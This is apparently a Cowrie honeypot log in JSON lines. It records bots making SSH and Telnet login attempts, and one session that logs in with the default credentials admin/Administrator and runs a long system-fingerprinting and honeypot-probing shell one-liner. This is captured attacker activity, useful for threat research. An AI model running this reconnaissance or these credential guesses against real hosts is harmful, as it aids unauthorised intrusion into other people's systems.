{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:86:a2:3e:aa:ee:49:bc:ec:31:4b:bc:15:d3:15:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnhkDWscUNA0QKUqoPXzd0HAfazW5m0fjG/qZGCI9OUI1QWz4d4z4XxSUG2jnE2O78l6qQMakvq2s8n9RRlVl631xSqL3qwZH2KqF0FI+WeXrJA1VsD+Cfa44Z/c2EvaSur58xS09PDT7IQjkn0xPS0OXoFwLuN82buWfN2cPJAbSSh8ugJkauFzfhZIvkloSLEA1gTcDypCBX8SQSB6k1okjaY2MjBej30Kmsfu4nzoHeVKi4VRUQBJItUUQ1GHOpof1ackqZsO8i1cpovL4PhkT0ZyC2RjztNvwQH/5TLv3cdml1U2A1UilRdKQXx9vS7ZzXd4dqN2GOSclDBa/cw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:86:a2:3e:aa:ee:49:bc:ec:31:4b:bc:15:d3:15:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.242802Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:86:a2:3e:aa:ee:49:bc:ec:31:4b:bc:15:d3:15:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnhkDWscUNA0QKUqoPXzd0HAfazW5m0fjG/qZGCI9OUI1QWz4d4z4XxSUG2jnE2O78l6qQMakvq2s8n9RRlVl631xSqL3qwZH2KqF0FI+WeXrJA1VsD+Cfa44Z/c2EvaSur58xS09PDT7IQjkn0xPS0OXoFwLuN82buWfN2cPJAbSSh8ugJkauFzfhZIvkloSLEA1gTcDypCBX8SQSB6k1okjaY2MjBej30Kmsfu4nzoHeVKi4VRUQBJItUUQ1GHOpof1ackqZsO8i1cpovL4PhkT0ZyC2RjztNvwQH/5TLv3cdml1U2A1UilRdKQXx9vS7ZzXd4dqN2GOSclDBa/cw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.248041Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:c5:25:07:cb:3a:ed:a1:b9:e2:07:23:5a:e3:1d:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8p3KYD1o5jie/LnogAVuDHWeAvU7ubdenv8FsuaMmhYz9nhtSghsLj0SE335hmJsDawNQoORYyVr5rR2tR58N9Yp8vdesozUs5fcUMR9BxRWVPKUSjRXwu74vf/92fPA8a0/Wf8gLrh7qiQTvEQ+xVzZ7HF93lfAElb3LBFyE/H4jELmLGsX2ptBS0MNyY7WyrWUn5lhFaCc6Wqx4KrV5Yg5PYoZMMgYtH5thNWC/GRaC+5mcmxbEuaNGJg8gJXe0da1H0QwOCDt9M35tYnqKY135ceEF4RhOJlIckYNSI6CrbcGv8IEEcV6f6TCmJPHrLZqge4jyt4VxgSB+H18FAMiqfmwXs9R8/aYBKZ6VqlAtGu+pIH4kPCrPoHE5SAZ1+rYetfGpuUFVlJjrCaambvVfAolxWVpKhen6SMPilOBYYJ1rwflmZkqEidAoXbefVTvylxvJR1NJw/K1FYUazYsH1MPWH/w0lFpG5JkYbS7Cnr2457eXFqSxbnqxpFLbhwSt7lViduH/9j1EOk0Oti4Y9xa8Vks0YOzW4x4mC9zUQm3T6Xv98vku/SRxpc/E1ieD/02/vm8rNpwAIBlpkc6VZgS76svQ5vui+zyXLvHpeB8q51M9P5ta1HC5Dm4/KEkhktgwk454RuxonemWQe+Nbig9LRR4gbstUa76kw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:c5:25:07:cb:3a:ed:a1:b9:e2:07:23:5a:e3:1d:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.253983Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:c5:25:07:cb:3a:ed:a1:b9:e2:07:23:5a:e3:1d:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8p3KYD1o5jie/LnogAVuDHWeAvU7ubdenv8FsuaMmhYz9nhtSghsLj0SE335hmJsDawNQoORYyVr5rR2tR58N9Yp8vdesozUs5fcUMR9BxRWVPKUSjRXwu74vf/92fPA8a0/Wf8gLrh7qiQTvEQ+xVzZ7HF93lfAElb3LBFyE/H4jELmLGsX2ptBS0MNyY7WyrWUn5lhFaCc6Wqx4KrV5Yg5PYoZMMgYtH5thNWC/GRaC+5mcmxbEuaNGJg8gJXe0da1H0QwOCDt9M35tYnqKY135ceEF4RhOJlIckYNSI6CrbcGv8IEEcV6f6TCmJPHrLZqge4jyt4VxgSB+H18FAMiqfmwXs9R8/aYBKZ6VqlAtGu+pIH4kPCrPoHE5SAZ1+rYetfGpuUFVlJjrCaambvVfAolxWVpKhen6SMPilOBYYJ1rwflmZkqEidAoXbefVTvylxvJR1NJw/K1FYUazYsH1MPWH/w0lFpG5JkYbS7Cnr2457eXFqSxbnqxpFLbhwSt7lViduH/9j1EOk0Oti4Y9xa8Vks0YOzW4x4mC9zUQm3T6Xv98vku/SRxpc/E1ieD/02/vm8rNpwAIBlpkc6VZgS76svQ5vui+zyXLvHpeB8q51M9P5ta1HC5Dm4/KEkhktgwk454RuxonemWQe+Nbig9LRR4gbstUa76kw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.256538Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:26:fd:f8:d5:5b:f1:90:56:ad:28:55:f6:f7:b4:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD5IfBhdHRIVzKw5zilWOkR7851IpvR0IdKvKv9fByyBJZJQYaOtxQzEQasFaq42iVqO+6aHfes1z+zty4JgAbn49eO11/KMMyQvEhHuOirS0ln3ukK2JDq5d9VwI43jaD17QOBxPKos/0w2cdnawZBf2DMEoJ/HUO3w9CV1BfeMmCi+CRWXBgO5bz3vsJoG7VCAU/OQtfVB+HO5WYDl82llGM9h1Q1hz2zCSkyhav6rHE5fIy50UVXeAVxYX7AsMAH8QZe1s+oinCBy6EtKTeE6QZQ/g9bpw1VPrpWkqDK0fENfEAYoBY+H8kQ0/nTZZU51Z9o6EiM03wSMfInepMf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:26:fd:f8:d5:5b:f1:90:56:ad:28:55:f6:f7:b4:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.261745Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:26:fd:f8:d5:5b:f1:90:56:ad:28:55:f6:f7:b4:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD5IfBhdHRIVzKw5zilWOkR7851IpvR0IdKvKv9fByyBJZJQYaOtxQzEQasFaq42iVqO+6aHfes1z+zty4JgAbn49eO11/KMMyQvEhHuOirS0ln3ukK2JDq5d9VwI43jaD17QOBxPKos/0w2cdnawZBf2DMEoJ/HUO3w9CV1BfeMmCi+CRWXBgO5bz3vsJoG7VCAU/OQtfVB+HO5WYDl82llGM9h1Q1hz2zCSkyhav6rHE5fIy50UVXeAVxYX7AsMAH8QZe1s+oinCBy6EtKTeE6QZQ/g9bpw1VPrpWkqDK0fENfEAYoBY+H8kQ0/nTZZU51Z9o6EiM03wSMfInepMf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.264253Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:72:1a:29:cc:01:a5:31:42:3b:33:d3:13:36:b8:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7OKjYH9mZJLjElyDDdViC9XgZ63Po0HQ1Zxc/gMeC3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d3:72:1a:29:cc:01:a5:31:42:3b:33:d3:13:36:b8:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.270268Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:72:1a:29:cc:01:a5:31:42:3b:33:d3:13:36:b8:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7OKjYH9mZJLjElyDDdViC9XgZ63Po0HQ1Zxc/gMeC3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.272950Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:a2:c3:90:3f:39:b0:95:b7:48:bb:7f:fd:81:90:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqH4nuweXbZ6fntaqOF+MEV/76zcZ8wUWMDp7wWL9V2AH4yH8R34iOOrge0d1eT5pc/vNQaA+cz5B3WTk2wwXEU1HMwL3/3bgx2vilmSePGkpZPeVZuYAZyKnMF1+PZ+BuIt23LTIDxj8kBdSzsjqVqYa2bAULjQ3NJOvUn8lbNpPdm04qonFAbtSPtEV2pGFnTvuKfxd6sVjXiWB+gWyGeZ1zkXvLB4deK1S3+WUBCLCAJuCo/4TZXhB47WIFrb/AfLvSSt13kK4A22JLDYKzQxKWQITJdle1eQjeKSdNVDRA4E+YQFzIlto5W+uu1OaMlJzrLrtZX6EArf0HVpez","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:a2:c3:90:3f:39:b0:95:b7:48:bb:7f:fd:81:90:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.279740Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:a2:c3:90:3f:39:b0:95:b7:48:bb:7f:fd:81:90:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqH4nuweXbZ6fntaqOF+MEV/76zcZ8wUWMDp7wWL9V2AH4yH8R34iOOrge0d1eT5pc/vNQaA+cz5B3WTk2wwXEU1HMwL3/3bgx2vilmSePGkpZPeVZuYAZyKnMF1+PZ+BuIt23LTIDxj8kBdSzsjqVqYa2bAULjQ3NJOvUn8lbNpPdm04qonFAbtSPtEV2pGFnTvuKfxd6sVjXiWB+gWyGeZ1zkXvLB4deK1S3+WUBCLCAJuCo/4TZXhB47WIFrb/AfLvSSt13kK4A22JLDYKzQxKWQITJdle1eQjeKSdNVDRA4E+YQFzIlto5W+uu1OaMlJzrLrtZX6EArf0HVpez","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.282466Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:29.287805Z","src_ip":"45.55.185.228","session":"f5d60df30b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":53696,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f61ac2c6315","protocol":"telnet","message":"New connection: 72.167.226.244:53696 (10.17.0.5:23) [session: 8f61ac2c6315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:35.212878Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":37750,"dst_ip":"10.17.0.5","dst_port":23,"session":"28866a0ae4fb","protocol":"telnet","message":"New connection: 50.62.181.92:37750 (10.17.0.5:23) [session: 28866a0ae4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:44.468829Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":58030,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba61d71a7acc","protocol":"ssh","message":"New connection: 91.92.40.11:58030 (10.17.0.5:22) [session: ba61d71a7acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:46.642683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:46.829490Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:46.832056Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Administrator","message":"login attempt [admin/Administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:47.827076Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.569013Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.571156Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.573675Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.575791Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.577969Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.581168Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.583355Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.585110Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.587689Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.590182Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.593312Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:48.818110Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:47:49.079039Z","src_ip":"91.92.40.11","session":"ba61d71a7acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.56878638267517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:06.781562Z","src_ip":"72.167.226.244","session":"8f61ac2c6315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147727727890015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:15.616511Z","src_ip":"50.62.181.92","session":"28866a0ae4fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34240,"dst_ip":"10.17.0.5","dst_port":22,"session":"c738e6847944","protocol":"ssh","message":"New connection: 45.156.87.253:34240 (10.17.0.5:22) [session: c738e6847944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:27.901672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:48:27.905639Z","src_ip":"45.156.87.253","session":"c738e6847944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 